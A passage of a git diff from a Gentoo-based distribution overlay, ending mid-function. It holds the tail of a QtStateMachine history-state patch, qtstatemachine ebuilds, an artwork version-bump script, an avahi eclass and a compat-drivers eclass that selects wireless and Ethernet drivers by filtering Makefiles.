+-        QtState *grp = qobject_cast<QtState*>(s);
+-        QtAbstractState *initial = grp->initialState();
+-        if (initial != 0) {
+-            addStatesToEnter(initial, grp, statesToEnter, statesForDefaultEntry);
++#ifdef QSTATEMACHINE_DEBUG
++    Q_Q(QtStateMachine);
++#endif
++    if (QtHistoryState *h = qobject_cast<QtHistoryState*>(s)) {
++        QList<QtAbstractState*> hconf = QtHistoryStatePrivate::get(h)->configuration;
++        if (!hconf.isEmpty()) {
++            for (int k = 0; k < hconf.size(); ++k) {
++                QtAbstractState *s0 = hconf.at(k);
++                addStatesToEnter(s0, root, statesToEnter, statesForDefaultEntry);
++            }
++#ifdef QSTATEMACHINE_DEBUG
++            qDebug() << q << ": restoring"
++                << ((QtHistoryStatePrivate::get(h)->historyType == QtState::DeepHistory) ? "deep" : "shallow")
++                << "history from" << s << ":" << hconf;
++#endif
+         } else {
+-            setError(QtStateMachine::NoInitialStateError, grp);
+-            return;
++            QList<QtAbstractState*> hlst;
++            if (QtHistoryStatePrivate::get(h)->defaultState)
++                hlst.append(QtHistoryStatePrivate::get(h)->defaultState);
++            if (hlst.isEmpty()) {
++                setError(QtStateMachine::NoDefaultStateInHistoryState, h);
++            } else {
++                for (int k = 0; k < hlst.size(); ++k) {
++                    QtAbstractState *s0 = hlst.at(k);
++                    addStatesToEnter(s0, root, statesToEnter, statesForDefaultEntry);
++                }
++#ifdef QSTATEMACHINE_DEBUG
++                qDebug() << q << ": initial history targets for" << s << ":" << hlst;                    
++#endif
++            }
+         }
+-    }
+-    QList<QtState*> ancs = properAncestors(s, root);
+-    for (int i = 0; i < ancs.size(); ++i) {
+-        QtState *anc = ancs.at(i);
+-        if (!anc->parentState())
+-            continue;
+-        statesToEnter.insert(anc);
+-        if (isParallel(anc)) {
+-            QList<QtAbstractState*> lst = QtStatePrivate::get(anc)->childStates();
+-            for (int j = 0; j < lst.size(); ++j) {
+-                QtAbstractState *child = lst.at(j);
+-                bool hasDescendantInList = false;
+-                QSet<QtAbstractState*>::const_iterator it;
+-                for (it = statesToEnter.constBegin(); it != statesToEnter.constEnd(); ++it) {
+-                    if (isDescendantOf(*it, child)) {
+-                        hasDescendantInList = true;
+-                        break;
++    } else { 
++        statesToEnter.insert(s);
++        if (isParallel(s)) {
++            QtState *grp = qobject_cast<QtState*>(s);
++            QList<QtAbstractState*> lst = QtStatePrivate::get(grp)->childStates();
++            for (int i = 0; i < lst.size(); ++i) {
++                QtAbstractState *child = lst.at(i);
++                addStatesToEnter(child, grp, statesToEnter, statesForDefaultEntry);
++            }
++        } else if (isCompound(s)) {
++            statesForDefaultEntry.insert(s);
++            QtState *grp = qobject_cast<QtState*>(s);
++            QtAbstractState *initial = grp->initialState();
++            if (initial != 0) {
++                addStatesToEnter(initial, grp, statesToEnter, statesForDefaultEntry);
++            } else {
++                setError(QtStateMachine::NoInitialStateError, grp);
++                return;
++            }
++        }
++        QList<QtState*> ancs = properAncestors(s, root);
++        for (int i = 0; i < ancs.size(); ++i) {
++            QtState *anc = ancs.at(i);
++            if (!anc->parentState())
++                continue;
++            statesToEnter.insert(anc);
++            if (isParallel(anc)) {
++                QList<QtAbstractState*> lst = QtStatePrivate::get(anc)->childStates();
++                for (int j = 0; j < lst.size(); ++j) {
++                    QtAbstractState *child = lst.at(j);
++                    bool hasDescendantInList = false;
++                    QSet<QtAbstractState*>::const_iterator it;
++                    for (it = statesToEnter.constBegin(); it != statesToEnter.constEnd(); ++it) {
++                        if (isDescendantOf(*it, child)) {
++                            hasDescendantInList = true;
++                            break;
++                        }
+                     }
++                    if (!hasDescendantInList)
++                        addStatesToEnter(child, anc, statesToEnter, statesForDefaultEntry);
+                 }
+-                if (!hasDescendantInList)
+-                    addStatesToEnter(child, anc, statesToEnter, statesForDefaultEntry);
+             }
+         }
+     }
diff --git a/dev-python/qtstatemachine/qtstatemachine-1.1-r1.ebuild b/dev-python/qtstatemachine/qtstatemachine-1.1-r1.ebuild
new file mode 100644
index 00000000..a1aaa525
--- /dev/null
+++ b/dev-python/qtstatemachine/qtstatemachine-1.1-r1.ebuild
@@ -0,0 +1,38 @@
+# Copyright 2004-2009 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+EAPI="2"
+inherit eutils cmake-utils
+
+DESCRIPTION="Qt State Machine Framework"
+SLOT="4"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+SRC_URI="ftp://ftp.trolltech.com/qt/solutions/lgpl/qtstatemachine-1.1-opensource.tar.gz"
+RESTRICT="mirror"
+LICENSE="|| ( LGPL-2.1 GPL-3 QPL-1.0 )"
+
+RDEPEND="dev-libs/glib
+	media-libs/libpng
+	x11-libs/qt-core:4
+	x11-libs/qt-gui:4"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}/${P}-opensource"
+
+src_prepare() {
+	# Add some bugfix patches
+	epatch "${FILESDIR}/"qstatemachines*.patch_*
+}
+
+pkg_postinst() {
+
+	ewarn "This package is VERY EXPERIMENTAL."
+	ewarn "Its build system is utterly broken (see CMake patch)."
+	ewarn "No examples are installed because of the issue above"
+	ewarn "...and your cat will be eaten by a black hole!"
+	einfo "Say thanks to Vincenzo Di Massa for the hard"
+	einfo "patching work."
+
+}
diff --git a/dev-python/qtstatemachine/qtstatemachine-1.1.ebuild b/dev-python/qtstatemachine/qtstatemachine-1.1.ebuild
new file mode 100644
index 00000000..7d222db9
--- /dev/null
+++ b/dev-python/qtstatemachine/qtstatemachine-1.1.ebuild
@@ -0,0 +1,49 @@
+# Copyright 2004-2009 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+EAPI="2"
+inherit eutils base multilib
+
+DESCRIPTION="Qt State Machine Framework"
+SLOT="4"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+SRC_URI="ftp://ftp.trolltech.com/qt/solutions/lgpl/qtstatemachine-1.1-opensource.tar.gz"
+RESTRICT="mirror"
+LICENSE="|| ( LGPL-2.1 GPL-3 QPL-1.0 )"
+
+RDEPEND="dev-libs/glib
+	media-libs/libpng
+	x11-libs/qt-core:4
+	x11-libs/qt-gui:4"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}/${P}-opensource"
+
+src_configure() {
+
+	# build system is utterly broken
+	echo "yes" | ./configure -library || die "configure failed"
+
+}
+
+src_compile() {
+	qmake -makefile -nocache || die "qmake failed"
+	emake || "make failed"
+}
+
+src_install() {
+
+	# build system is broken
+	dolib.so lib/*
+
+}
+
+pkg_postinst() {
+	ewarn "This package is VERY EXPERIMENTAL."
+	ewarn "Its build system is utterly broken."
+	ewarn "No examples are installed because of the issue above"
+	ewarn "...and your cat will be eaten by a black hole!"
+	ewarn "plop!"
+}
diff --git a/do-artwork-bump.sh b/do-artwork-bump.sh
new file mode 100755
index 00000000..a9c0c745
--- /dev/null
+++ b/do-artwork-bump.sh
@@ -0,0 +1,25 @@
+#!/bin/bash
+# made by Sabayon GNU/Linux Team
+if [ -z "$2" ]; then
+	echo do-artwork-bump.sh OLDVER NEWVER
+	exit
+fi
+
+OLD=$1
+NEW=$2
+PACKAGES="x11-themes/rogentos-artwork-core x11-themes/rogentos-artwork-extra \
+		x11-themes/rogentos-artwork-kde x11-themes/rogentos-artwork-gnome \
+			x11-themes/rogentos-artwork-loo x11-themes/rogentos-artwork-lxde\
+			x11-themes/rogentos-artwork-grub x11-themes/rogentos-artwork-isolinux"
+
+for package in ${PACKAGES}; do
+	name=$(echo ${package} | cut -d/ -f2)
+	if [ -a ${package}/${name}-${NEW}.ebuild ]; then
+		echo "${NEW} ebuild found, not overwriting"
+	else
+		cp ${package}/${name}-${OLD}.ebuild ${package}/${name}-${NEW}.ebuild
+	fi
+	ebuild ${package}/${name}-${NEW}.ebuild manifest --force clean install clean
+	git add ${package}/${name}-${NEW}.ebuild
+	git add ${package}/Manifest
+done
diff --git a/eclass/avahi.eclass b/eclass/avahi.eclass
new file mode 100644
index 00000000..c9a9876d
--- /dev/null
+++ b/eclass/avahi.eclass
@@ -0,0 +1,102 @@
+# Copyright 2004-2011 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+SUPPORTED_AVAHI_MODULES="base gtk gtk3 mono qt"
+
+# @ECLASS-VARIABLE: AVAHI_MODULE
+# @DESCRIPTION:
+# Set this variable to the avahi module ebuild name, by default it's used
+# the second part of PN, for example: for avahi-glib, it is "glib".
+# Supported avahi modules:
+# base gtk gtk3 mono qt
+AVAHI_MODULE="${AVAHI_MODULE:-${PN/avahi-}}"
+
+# @ECLASS-VARIABLE: AVAHI_PATCHES
+# @DEFAULT-UNSET
+# @DESCRIPTION:
+# List of patches to apply
+if [ -z "${AVAHI_PATCHES}" ]; then
+	AVAHI_PATCHES=()
+fi
+
+# @ECLASS-VARIABLE: AVAHI_MODULE_DEPEND
+# @DESCRIPTION:
+# Avahi module built time dependencies list
+AVAHI_MODULE_DEPEND="${AVAHI_MODULE_DEPEND:-}"
+
+# @ECLASS-VARIABLE: AVAHI_MODULE_RDEPEND
+# @DESCRIPTION:
+# Avahi module run time dependencies list
+AVAHI_MODULE_RDEPEND="${AVAHI_MODULE_RDEPEND:-}"
+
+# @ECLASS-VARIABLE: AVAHI_MODULE_PDEPEND
+# @DESCRIPTION:
+# Avahi module post dependencies list
+AVAHI_MODULE_PDEPEND="${AVAHI_MODULE_PDEPEND:-}"
+
+_supported="0"
+for mod in ${SUPPORTED_AVAHI_MODULES} ; do
+    if [ "${mod}" = "${AVAHI_MODULE}" ]; then
+        _supported="1"
+        break
+    fi
+done
+if [ "${_supported}" = "0" ]; then
+    die "Unsupported avahi module: ${AVAHI_MODULE}"
+fi
+
+MY_P=${P/-${AVAHI_MODULE}}
+
+inherit autotools eutils flag-o-matic
+
+DESCRIPTION="avahi ${AVAHI_MODULE} module"
+HOMEPAGE="http://avahi.org/"
+SRC_URI="http://avahi.org/download/${MY_P}.tar.gz"
+S="${WORKDIR}/${MY_P}"
+
+LICENSE="LGPL-2.1"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+AVAHI_COMMON_DEPEND=">=dev-util/intltool-0.40.5
+	>=dev-util/pkgconfig-0.9.0"
+DEPEND="${AVAHI_MODULE_DEPEND} ${AVAHI_COMMON_DEPEND}"
+RDEPEND="${AVAHI_MODULE_RDEPEND}"
+PDEPEND="${AVAHI_MODULE_PDEPEND}"
+
+avahi_src_prepare() {
+	sed -i\
+		-e "s:\\.\\./\\.\\./\\.\\./doc/avahi-docs/html/:../../../doc/${PF}/html/:" \
+		doxygen_to_devhelp.xsl || die
+
+	for i in ${!AVAHI_PATCHES[@]}; do
+		epatch "${AVAHI_PATCHES[i]}"
+	done
+
+	eautoreconf
+}
+
+avahi_src_configure() {
+	use sh && replace-flags -O? -O0
+	# We need to unset DISPLAY, else the configure script might have problems detecting the pygtk module
+	unset DISPLAY
+	local myconf="
+		--disable-static
+		--localstatedir=/var
+		--with-distro=gentoo
+		--disable-xmltoman
+		--disable-monodoc
+		--enable-glib
+		--enable-gobject
+		--disable-qt3
+		$@"
+	econf ${myconf}
+}
+
+avahi_src_install-cleanup() {
+	# Remove .la files
+	find "${D}" -name '*.la' -exec rm -f {} + || die
+}
+
+EXPORT_FUNCTIONS src_prepare src_configure
diff --git a/eclass/compat-drivers-3.7.eclass b/eclass/compat-drivers-3.7.eclass
new file mode 100644
index 00000000..58bcee62
--- /dev/null
+++ b/eclass/compat-drivers-3.7.eclass
@@ -0,0 +1,543 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+
+# @ECLASS: compat-drivers-3.7.eclass
+# @MAINTAINER:
+# wuodan@pentoo.ch
+# @BLURB: Implements functionality of driver-select script for several modules
+# @DESCRIPTION:
+# Implements functionality of driver-select script for several modules
+
+# compose IUSE and REQUIRED_USE from the categories
+IUSE+=" +build-all-modules"
+REQUIRED_USE+=" || ("
+for useexp in ${CPD_USE_EXPAND}; do
+	USE_TEMP="\$CPD_USE_EXPAND_$useexp"
+	for iuse in `eval echo "\$USE_TEMP"`; do
+		if [ "${iuse:0:1}" = '+' ]; then
+			IUSE+=" ${iuse:0:1}compat_drivers_${useexp}_${iuse:1}" || die
+			REQUIRED_USE+=" compat_drivers_${useexp}_${iuse:1}" || die
+		else
+			IUSE+=" compat_drivers_${useexp}_${iuse}" || die
+			REQUIRED_USE+=" compat_drivers_${useexp}_${iuse} build-all-modules" || die
+		fi
+	done
+done
+REQUIRED_USE+=" )"
+
+# ==============================================================================
+# INTERNAL VARIABLES
+# ==============================================================================
+
+# @VARIABLE: CPD_USE_EXPAND
+# @DESCRIPTION:
+# This variable needs to be set in the ebuild and contains the categories for
+# USE_EXPAND
+
+# @VARIABLE: CPD_USE_EXPAND_category
+# @DESCRIPTION:
+# These variables need to be set in the ebuild, one per category in
+# CPD_USE_EXPAND. They contain the modules of the categories.
+
+# @ECLASS-VARIABLE: CPD_MODULE
+# @DESCRIPTION:
+# This internal variable contains a temporary value, the currently processed
+# module.
+
+# @ECLASS-VARIABLE: CPD_DISABLE_${CPD_MODULE}
+# @DESCRIPTION:
+# These internal variables contains values, the 'disable-actions' of the
+# currently processed module. One variable exists for each active module.
+
+# @ECLASS-VARIABLE: CPD_MAKEFILES
+# @DESCRIPTION:
+# This internal variable contains a list of all 'Makefile's
+CPD_MAKEFILES="
+	MAKEFILE
+	COMPAT_CONFIG_CW
+	DRIVERS_MAKEFILE
+	ATH_MAKEFILE
+	ATH9K_MAKEFILE
+	BRCM80211_MAKEFILE
+	RT2X00_MAKEFILE
+	TI_MAKEFILE
+	NET_WIRELESS_MAKEFILE
+	EEPROM_MAKEFILE
+	DRIVERS_NET_ATHEROS
+	DRIVERS_NET_BROADCOM
+	DRIVERS_NET_USB_MAKEFILE
+	SSB_MAKEFILE
+	BCMA_MAKEFILE"
+
+# @ECLASS-VARIABLE: CPD_MAKEFILES_ARRAY
+# @DESCRIPTION:
+# This internal variable contains an array with paths to all files
+CPD_MAKEFILES_ARRAY=(
+	MAKEFILE=Makefile
+	COMPAT_CONFIG_CW=config.mk
+	DRIVERS_MAKEFILE=drivers/net/wireless/Makefile
+	ATH_MAKEFILE=drivers/net/wireless/ath/Makefile
+	ATH9K_MAKEFILE=drivers/net/wireless/ath/ath9k/Makefile
+	BRCM80211_MAKEFILE=drivers/net/wireless/brcm80211/Makefile
+	RT2X00_MAKEFILE=drivers/net/wireless/rt2x00/Makefile
+	TI_MAKEFILE=drivers/net/wireless/ti/Makefile
+	NET_WIRELESS_MAKEFILE=net/wireless/Makefile
+	EEPROM_MAKEFILE=drivers/misc/eeprom/Makefile
+	DRIVERS_NET_ATHEROS=drivers/net/ethernet/atheros/Makefile
+	DRIVERS_NET_BROADCOM=drivers/net/ethernet/broadcom/Makefile
+	DRIVERS_NET_USB_MAKEFILE=drivers/net/usb/Makefile
+	SSB_MAKEFILE=drivers/ssb/Makefile
+	BCMA_MAKEFILE=drivers/bcma/Makefile
+)
+
+# ==============================================================================
+# INTERNAL FUNCTIONS
+# ==============================================================================
+
+# @FUNCTION: get_makefile
+# @DESCRIPTION:
+# This internal function returns the path to a file from CPD_MAKEFILES_ARRAY
+function get_makefile {
+	for file in "${CPD_MAKEFILES_ARRAY[@]}"; do
+		if [ "${file%%=*}"	= "${1}" ]; then
+			echo "${file#*=}"
+			return 0
+		fi
+	done
+	die "Not found"
+}
+
+# @FUNCTION: select_drivers_from_makefile
+# @DESCRIPTION:
+# This internal function filters a Makefile
+# It deletes all non matching lines!
+function select_drivers_from_makefile
+{
+	local makefile=$(get_makefile "$1")
+	shift
+	local configs=""
+	for i in $@; do
+		[ "${configs}" != '' ] && configs+='|'
+		configs+="${i}"
+	done
+	einfo "Filtering file ${makefile} for: ${configs}"
+	sed -r "/${configs}/!d"  ${makefile} > ${makefile}.tmp || die
+	mv ${makefile}.tmp ${makefile} || die
+}
+
+# @FUNCTION: disable
+# @DESCRIPTION:
+# This internal function registers a 'disable' action for a module.
+# It writes to a variable CPD_DISABLE_${CPD_MODULE}
+function disable {
+	eval "CPD_DISABLE_${CPD_MODULE}+=\" ${*}\"" || die
+}
+
+# @FUNCTION: disable_makefile
+# @DESCRIPTION:
+# This internal function clears a Makefile completely. Use with care!
+function disable_makefile {
+	einfo "Clearing entire file: ${1}"
+	echo > $1 || die
+}
+
+# @FUNCTION: disable_staging
+# @DESCRIPTION:
+# This internal function disables "staging"
+function disable_staging
+{
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_STAGING/ ' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_STAGING/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_update-initramfs
+# @DESCRIPTION:
+# This internal function disables "update-initramfs"
+function disable_update-initramfs
+{
+	# perl -i -ne 'print if ! /update-initramfs/' "${MAKEFILE}"
+	sed -i '/update-initramfs/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_lib80211
+# @DESCRIPTION:
+# This internal function disables "update-initramfs"
+function disable_lib80211
+{
+	# perl -i -ne 'print if ! /LIB80211/ ' $NET_WIRELESS_MAKEFILE
+	sed -i '/LIB80211/d' "$(get_makefile NET_WIRELESS_MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_b44
+# @DESCRIPTION:
+# This internal function disables "b44"
+function disable_b44 {
+	# perl -i -ne 'print if ! /CONFIG_B44/ ' $DRIVERS_NET_BROADCOM
+	sed -i '/CONFIG_B44/d' "$(get_makefile DRIVERS_NET_BROADCOM)" || die
+}
+
+# @FUNCTION: disable_ssb
+# @DESCRIPTION:
+# This internal function disables "ssb"
+function disable_ssb
+{
+	disable_makefile "$(get_makefile ${SSB_MAKEFILE})"
+	# perl -i -ne 'print if ! /drivers\/ssb\//' "${MAKEFILE}"
+	sed -i '/drivers\/ssb\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_bcma
+# @DESCRIPTION:
+# This internal function disables "bcma"
+function disable_bcma
+{
+	disable_makefile "$(get_makefile ${BCMA_MAKEFILE})"
+	# perl -i -ne 'print if ! /drivers\/bcma\//' "${MAKEFILE}"
+	sed -i '/drivers\/bcma\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_rfkill
+# @DESCRIPTION:
+# This internal function disables "rfkill"
+function disable_rfkill
+{
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_RFKILL/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_RFKILL/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_eprom
+# @DESCRIPTION:
+# This internal function disables "eprom"
+function disable_eeprom
+{
+	disable_makefile "$(get_makefile ${EEPROM_MAKEFILE})" || die
+	# perl -i -ne 'print if ! /drivers\/misc\/eeprom\//' "${MAKEFILE}"
+	sed -i '/drivers\/misc\/eeprom\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_usbnet
+# @DESCRIPTION:
+# This internal function disables "usbnet"
+function disable_usbnet
+{
+	disable_makefile ${DRIVERS_NET_USB_MAKEFILE} || die
+	# perl -i -ne 'print if ! /drivers\/net\/usb\//' "${MAKEFILE}"
+	sed -i '/drivers\/net\/usb\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_usbnet
+# @DESCRIPTION:
+# This internal function disables "usbnet"
+# this function is twice in driver-select script!?!
+function disable_usbnet {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_NET_USB_MODULES/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_NET_USB_MODULES/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# @FUNCTION: disable_ethernet
+# @DESCRIPTION:
+# This internal function disables "ethernet"
+function disable_ethernet {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_NETWORK_MODULES/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_NETWORK_MODULES/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# @FUNCTION: disable_var_03
+# @DESCRIPTION:
+# This internal function disables "var_03"
+function disable_var_03 {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_VAR_MODULES/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_VAR_MODULES/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# @FUNCTION: disable_bt
+# @DESCRIPTION:
+# This internal function disables "bt"
+function disable_bt {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_BLUETOOTH/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_BLUETOOTH/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# @FUNCTION: disable_80211
+# @DESCRIPTION:
+# This internal function disables "80211"
+function disable_80211 {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_WIRELESS/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_WIRELESS/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_ath9k_rate_control
+# @DESCRIPTION:
+# This internal function disables "ath9k_rate_control"
+# new function, not in driver-select
+function disable_ath9k_rate_control {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_ATH9K_RATE_CONTROL/ ' $COMPAT_CONFIG_CW
+	sed -i '/CONFIG_COMPAT_ATH9K_RATE_CONTROL/d' "$(get_makefile COMPAT_CONFIG_CW)" || die
+}
+
+# @FUNCTION: select_drivers
+# @DESCRIPTION:
+# This internal function registers filters for the drivers Makefile
+function select_drivers {
+	eval "CPD_DRIVERS_MAKEFILE+=\" ${*}\"" || die
+}
+
+# @FUNCTION: select_ath_driver
+# @DESCRIPTION:
+# This internal function registers filters for the ath Makefile
+function select_ath_driver {
+	eval "CPD_ATH_MAKEFILE+=\" ${*}\"" || die
+}
+
+# @FUNCTION: select_ath_driver_common
+# @DESCRIPTION:
+# This internal function registers common filters for the ath Makefile
+function select_ath_driver_common {
+	# eval "CPD_ATH_MAKEFILE+=\" CONFIG_ATH_ ath-objs regd.o hw.o\"" || die
+	select_ath_driver CONFIG_ATH_ ath-objs regd.o hw.o key.o || die
+}
+
+# @FUNCTION: select_brcm80211_driver
+# @DESCRIPTION:
+# This internal function registers filters for the brcm80211 Makefile
+function select_brcm80211_driver {
+	eval "CPD_BRCM80211_MAKEFILE+=\" ${*}\"" || die
+}
+
+# @FUNCTION: select_ti_driver
+# @DESCRIPTION:
+# This internal function registers filters for the ti Makefile
+function select_ti_drivers {
+	select_drivers CONFIG_WL_TI
+	eval "CPD_TI_MAKEFILE+=\" ${*}\"" || die
+}
+
+# @FUNCTION: set_flag
+# @DESCRIPTION:
+# This internal function contains the configuration for each flag/module
+function set_flag {
+	# clear/set global vars
+	CPD_MODULE=$1
+	case $1 in
+		ath5k)
+			disable staging usbnet ethernet bt update-initramfs var_03 || die
+			select_drivers		CONFIG_ATH_COMMON || die
+			select_ath_driver	CONFIG_ATH5K || die
+			select_ath_driver_common || die
+			;;
+		ath9k)
+			disable staging usbnet ethernet bt update-initramfs var_03 || die
+			select_drivers		CONFIG_ATH_COMMON || die
+			select_ath_driver CONFIG_ATH9K_HW || die
+			select_ath_driver_common || die
+			;;
+		ath9k_ap)
+			disable staging usbnet ethernet bt update-initramfs var_03 || die
+			select_drivers		CONFIG_ATH_COMMON || die
+			select_ath_driver CONFIG_ATH9K_HW || die
+			select_ath_driver_common || die
+			disable ath9k_rate_control || die
+			;;
+		carl9170)
+			disable staging usbnet ethernet bt update-initramfs var_03 || die
+			select_drivers		CONFIG_ATH_COMMON || die
+			select_ath_driver	CONFIG_CARL9170 || die
+			select_ath_driver_common || die
+			;;
+		ath9k_htc)
+			disable staging usbnet ethernet bt update-initramfs var_03 || die
+			select_drivers		CONFIG_ATH_COMMON || die
+			select_ath_driver CONFIG_ATH9K_HW || die
+			select_ath_driver_common || die
+			;;
+		ath6kl)
+			disable staging usbnet ethernet bt update-initramfs var_03 || die
+			select_drivers		CONFIG_ATH_COMMON || die
+			select_ath_driver	CONFIG_ATH6KL || die
+			select_ath_driver_common || die
+			;;
+		brcmsmac)
+			disable staging usbnet ethernet bt update-initramfs var_03 || die
+			select_drivers		CONFIG_BRCMSMAC || die
+			select_brcm80211_driver	CONFIG_BRCMSMAC CONFIG_BRCMUTIL || die
+			;;
+		brcmfmac)
+			disable staging usbnet ethernet bt update-initramfs var_03 || die
+			select_drivers		CONFIG_BRCMFMAC || die
+			select_brcm80211_driver	CONFIG_BRCMSMAC CONFIG_BRCMUTIL || die
+			;;
+		zd1211rw)
+			select_drivers		CONFIG_COMPAT_ZD1211RW || die
+			disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die
+			;;
+		b43)
+			disable staging usbnet ethernet bt update-initramfs || die
+			disable eeprom lib80211 || die
+			select_drivers		CONFIG_B43 || die
+			;;
+		rt2x00)
+			select_drivers		CONFIG_RT2X00 || die
+			disable staging usbnet ethernet bt update-initramfs || die
+			disable lib80211 ssb bcma usbnet update-initramfs || die
+			;;
+		wl1251)
+			select_ti_drivers	CONFIG_WL1251 || die
+			disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die
+			;;
+		wl12xx)
+			select_ti_drivers	CONFIG_WL12XX || die
+			disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die
+			;;
+		wl18xx)
+			select_ti_drivers	CONFIG_WL18XX || die
+			disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die
+			;;
+	# Ethernet and Bluetooth drivers
+		atl1)
+			disable staging usbnet var_03 bt rfkill 80211 b44 || die
+			echo -e "obj-\$(CONFIG_ATL1) += atlx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			;;
+		atl2)
+			disable staging usbnet var_03 bt rfkill 80211 b44 || die
+			echo -e "obj-\$(CONFIG_ATL2) += atlx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			;;
+		atl1e)
+			disable staging usbnet var_03 bt rfkill 80211 b44 || die
+			echo -e "obj-\$(CONFIG_ATL1E) += atl1e/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			;;
+		atl1c)
+			disable staging usbnet var_03 bt rfkill 80211 b44 || die
+			echo -e "obj-\$(CONFIG_ATL1C) += atl1c/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			;;
+		atlxx)
+			select_drivers		CONFIG_ATL1 CONFIG_ATL2 CONFIG_ATL1E CONFIG_ALX || die
+			disable staging usbnet var_03 bt rfkill 80211 b44 update-initramfs || die
+			;;
+		bt)
+			select_drivers 		CONFIG_BT || die
+			disable ssb bcma usbnet eeprom update-initramfs ethernet staging 80211 || die
+			;;
+		i915)
+			# rfkill may be needed if you enable b44 as you may have b43
+			disable ethernet staging usbnet var_03 bt rfkill 80211 || die
+			;;
+		drm)
+			# rfkill may be needed if you enable b44 as you may have b43
+			disable ethernet staging usbnet var_03 bt rfkill 80211 || die
+			;;
+	# Manually added options by pentoo
+		usbnet)
+			# disable everything else
+			disable staging update-initramfs lib80211 b44 ssb bcma rfkill eeprom ethernet var_03 bt 80211 ath9k_rate_control || die
+			;;
+		staging)
+			# disable everything else
+			disable usbnet update-initramfs lib80211 b44 ssb bcma rfkill eeprom ethernet var_03 bt 80211 ath9k_rate_control || die
+			;;
+		b44)
+			disable staging usbnet ethernet bt update-initramfs || die
+			disable eeprom lib80211 || die
+			select_drivers		CONFIG_B44 || die
+			;;
+		*)
+			die "Unsupported driver: ${1}"
+			exit
+			;;
+	esac
+}
+
+# @FUNCTION: echo_flag_settings
+# @DESCRIPTION:
+# This internal function outputs the "disable" actions for a flag
+function echo_flag_settings {
+	# example:
+	# CPD_DISABLE_${iflag}="action1 action2"
+	# CPD_DRIVERS_MAKEFILE="flag1 flag1"
+	# CPD_ATH_MAKEFILE="flag3"
+	# ...
+	local iflag=$1
+	eval "local disable_list=\"\${CPD_DISABLE_${iflag}}\"" || die
+	einfo "Disable list for ${iflag}: ${disable_list}"
+}
+
+# ==============================================================================
+# EXPORTED FUNCTIONS
+# ==============================================================================
+
+# @FUNCTION: compat-drivers-3.7_src_configure
+# @DESCRIPTION:
+# This function reads the configuration (disable-actions and filters) for each
+# single active flag, then constructs and applies the common configuration set.
+compat-drivers-3.7_src_configure() {
+	# early exit, skip filtering of configuration and build all modules
+	if use build-all-modules; then
+		ewarn "You have chosen to build all modules!"
+		ewarn "The Pentoo team strives to build only the desired modules and the"
+		ewarn "use flag 'build-all-modules' should only be used when"
+		ewarn "the desired modules is not available through another flag."
+		ewarn "Please open an issue at the Pentoo site and let us know which"
+		ewarn "module was missing!"
+		return 0
+	fi
+
+	# loop over all modules
+	local use_temp=''
+	local use_enabled_list=''
+	for useexp in ${CPD_USE_EXPAND}; do
+		use_temp="\$CPD_USE_EXPAND_$useexp" || die
+		for iuse in `eval echo "\$use_temp"`; do
+			if [ "${iuse:0:1}" = '+' ]; then
+				local iuse2=${iuse:1} || die
+			else
+				local iuse2=${iuse} || die
+			fi
+			local iflag="compat_drivers_${useexp}_${iuse2}" || die
+			# check if it's enabled
+			if use "${iflag}"; then
+				use_enabled_list+=" ${iuse2}" || die
+				# fill the disable/enable lists
+				# example:
+				# CPD_DISABLE_${iflag}="action1 action2"
+				# CPD_DRIVERS_MAKEFILE="flag1 flag1"
+				# CPD_ATH_MAKEFILE="flag3"
+				# ...
+				set_flag "${iuse2}" || die
+				echo_flag_settings "${iuse2}" || die
+			fi
+		done
+	done
+	einfo "List of enabled modules: ${use_enabled_list}"
+	# compose common disable list for all flags
+	# 1st module/flag
+	local iuse1="$(echo $use_enabled_list | cut -d ' ' -f 1)" || die
+	eval "local disable_list=\$CPD_DISABLE_${iuse1}" || die
+	for iuse in ${use_enabled_list}; do
+		if [ "${iuse}" != "${iuse1}" ]; then
+			local disable_list_new='' || die
